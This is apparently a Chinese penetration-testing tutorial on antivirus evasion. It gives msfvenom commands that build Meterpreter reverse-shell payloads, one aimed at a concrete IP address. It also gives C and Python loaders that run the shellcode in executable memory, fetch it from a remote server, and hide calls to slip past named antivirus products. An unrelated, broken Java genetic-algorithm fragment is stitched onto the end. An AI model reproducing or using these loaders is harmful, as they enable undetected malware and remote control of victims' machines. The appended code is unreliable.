免杀对抗之源码免杀

0x01 免杀分类

渗透测试中常需要免杀马,这块的内容交叉且形式多样。常见的免杀方式,源码混淆、DLL文件替换、文件修改、加壳、花指令免杀、签名等。免杀的内容比较偏向破解、反编译范畴的安全研究,也是武器库中的必不可少的部分。本文章是系列教程,各种免杀方式都会涉及,本次分享的是源码免杀。

0x02 源码免杀

这里以Python做免杀为例,其他语言如C#、GO、Ruby等免杀思路相同。

免杀的大致步骤可以分为如下,视情况可以采用部分步骤:

  • 加载器选择-ctypes-DLL&其他,加载shellcode的组件
  • 加密器选择-base64&hex&xor&aes,加密shellcode的组件、异或
  • 执行器选择-github上不是一大堆,用于执行shellcode的组件
  • 打包器选择-pyinstaller&py2exe,把代码打包成可执行文件的组件

免杀思路一:msf生成C语言shellcode,编写C程序调用shellcode生成exe可执行文件

其实这部分无作任何免杀,只是换了调用方式,但还是能过电脑管家的(无语)

msf操作步骤:

1
2
3
4
5
6
7
#生成C语言shellcode,此处生成的shellcode是程序执行在内存中的状态
msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=6688 -f c
#监听主机上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688

C语言调用二进制生成exe代码(需要采用32位执行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//此代码用于将msf生成的shellcode打包生成exe
//可能有同学要问了,为什么生成C语言的二进制码还需要利用C语言打包执行。其实exe程序运行时在内存中是二进制码,现在msf生成的是二进制码,需要打包成exe才能被执行
#include <Windows.h>
#include <stdio.h>
#include <string.h>
//windows控制台程序不出黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//此处放msf生成的shellcode
unsigned char buf[] = "shellcode"
main()
{
char* Memory;
// 申请EXECUTE属性内存
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 拷贝shellcode
memcpy(Memory, buf, sizeof(buf));
// 执行shellcode
((void(*)())Memory)();
}

免杀思路二:利用msf生成加密的C语言shellcode,再利用python去调用(免杀思路一是采用C语言调用)

python采用ctypes模块引用&执行C语言代码

此处讲解个Python调用C语言生成的动态链接库的小案例:

vs生成dll文件小tips:(生成解决方案):

1
2
3
4
#include<stdio.h>
extern "C" _declspec(dllexport) void TestCtypes() {
printf("I like eating you\n");
}

python采用ctypes调用生成的dll文件:

1
2
3
4
5
from ctypes import *
#加载Dll1.dll
lib=CDLL('./Dll1.dll')
#调用当前库方法
lib.TestCtypes()

此处打包器选择pyinstaller

msf生成base64加密shellcode:

1
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=47.94.236.117 lport=6688 -f c

python调用Ctypes模块解码调用shellcode(注:此处python必须为32位的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import ctypes
import base64

#此处为msf生成的加密shellcode,去掉"和;
encode_shellcode = '''
'''

shellcode = base64.b64decode(encode_shellcode)

#执行shellcode
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

pyinstaller.exe -F -w miansha-df.py #用于将py文件生成exe文件 (注:此处python必须为32位的)

免杀思路三:外部shellcode加载+特征语句定位加密(过hr、360)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import ctypes
import requests
import base64
#外部请求shellcode
encode_shellcode = requests.get("http://yourip/123.txt").text
#解密shellcode
shellcode = base64.b64decode(encode_shellcode)

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
#此处为ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))原语句base64加密
func=base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSk=')
exec(func)
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

注意点:

1.python执行C语言shellcode时需要使用python3 32位,打包成exe文件也需要使用32位的,win10上打包生成的exe在win7环境下会报错,要选择相应版本打包。

2.msf生成shellcode时,有无base64加密生成的shellcode形式相似,类似”x2f\x4f\x69\x50\x41”

​ 2.1.本文中默认生成的shellcode是C语言shellcode码,是把byte码用十六进制来表示

​ 2.2.添加base64加密生成的是base64加密的shellcode,同样是把byte码用十六进制来表示。在调用时需要把十六进制转化为字符串,为了方便起见,免杀思路三中的放在服务器上的123.txt在十六进制转换的字符串,便于操作,否则需要本地再次转换。

附带科普下,内存运行编码的各种概念。

内存大小是使用byte为单位的,msf生成的byte码是执行在内存时的编码,为16进制,而python在打印时会自动将十六进制编码转换为字符串,下面的python代码打印的结果为AVlNXa。

1
2
test = "\x41\x56\x6c\x4e\x58\x61"
print(test)

0X1 = 1byte
0X10 = 16 byte
0X100 = 1616 byte = 256 byte
0X1000 = 16 256 byte= 4 * ( 4 * 256byte) = 4 * 1024 byte =4K byte
0X1 0000 = 16 * 4K byte = 64K byte
0X10 0000 = 16 * 64K byte = 1024K byte = 1M byte
0X100 0000 = 16 * 1M byte = 16M byte
0X1000 0000 = 16 * 16M byte = 256M byte
0X1 0000 0000 = 16 * 256Mbyte = 4
(4
256) Mbyte = 4*1024Mbyte=4Gbyte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static Pop evPop(Pop pop, RuleBean rule) {
Pop new1 = new Pop(pop.getLength());
int elitismO;
if (elitism) {
elitismO = 1;
Paper fit = pop.getFitness();
fit.setId(0);
new1.setPaper(0, fitness);
}
for (int i = elitismO; i < new1.getLength(); i++) {
Paper parent1 = select(pop);
Paper parent2 = select(pop);
while (parent2.getId() == parent1.getId()) {
parent2 = select(pop);
}
Paper child = crossover(parent1, parent2, rule);
child.setId(i);
newPopulation.setPaper(i, child);
}
Paper tmpPaper;
for (int i = elitismOffset; i < newPopulation.getLength(); i++) {
tmpPaper = new1.getPaper(i);
mutate(tmpPaper);
tmpPaper.setKpCoverage(rule);
tmpPaper.setAdaptationDegree(rule, Global.KP_WEIGHT, Global.DIFFCULTY_WEIGHt);
}
return new1;
}